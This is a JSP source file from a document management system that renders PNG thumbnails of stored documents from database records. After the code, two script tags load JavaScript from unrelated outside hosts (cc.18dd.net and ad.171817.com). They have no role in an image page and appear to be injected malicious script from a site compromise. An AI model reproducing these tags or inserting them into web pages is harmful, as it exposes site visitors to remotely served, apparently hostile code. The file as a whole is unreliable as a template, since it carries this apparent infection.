<%@ page contentType="image/png"
%><%@ page import="java.io.*" 
%><%@ page import="java.sql.*" 
%><%@ page import="java.net.*" 
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@ page import="com.dcivision.framework.*" 
%><%@ page import="com.dcivision.framework.image.*" 
%><%@ page import="org.apache.commons.logging.LogFactory"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%  
  Integer targetID = TextUtility.parseIntegerObj(request.getParameter("ID"));
  String version = request.getParameter("version");  
  Integer versionID = new Integer(1);
  
  Connection conn = null;
  try {
    conn = DataSourceFactory.getConnection();
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    
    String name = "";
    DmsDocument document = (DmsDocument) docRetrievalManager.getDocument(targetID);
    DmsVersion dmsVersion = new DmsVersion();
    Integer contentID = new Integer(0);
    if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {  
      versionID = TextUtility.parseIntegerObj(version);
      dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
      contentID = dmsVersion.getContentID();
    } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {  
      dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetID);
      contentID = dmsVersion.getContentID();
    }   

    DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
    String segmentNoPath = Utility.isEmpty(docContent.getSegmentNO())? "" : "Document" + "/" + "segment" + docContent.getSegmentNO() + "/";
    String foldersDir = docRetrievalManager.getFoldersDirectories(document).toString();
    String converted = (String) URLDecoder.decode(docContent.getConvertedName(), "UTF-8");
    if(!Utility.isEmpty(segmentNoPath)){
      foldersDir = foldersDir + segmentNoPath;
    }
    String filename = foldersDir+converted;
    
    int thumDim = Integer.parseInt(request.getParameter("thumDim"));  
    OutputStream output = response.getOutputStream();
    ThumbnailGenerator.createPNGThumbnail(filename, output, thumDim);    
  } catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }  
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>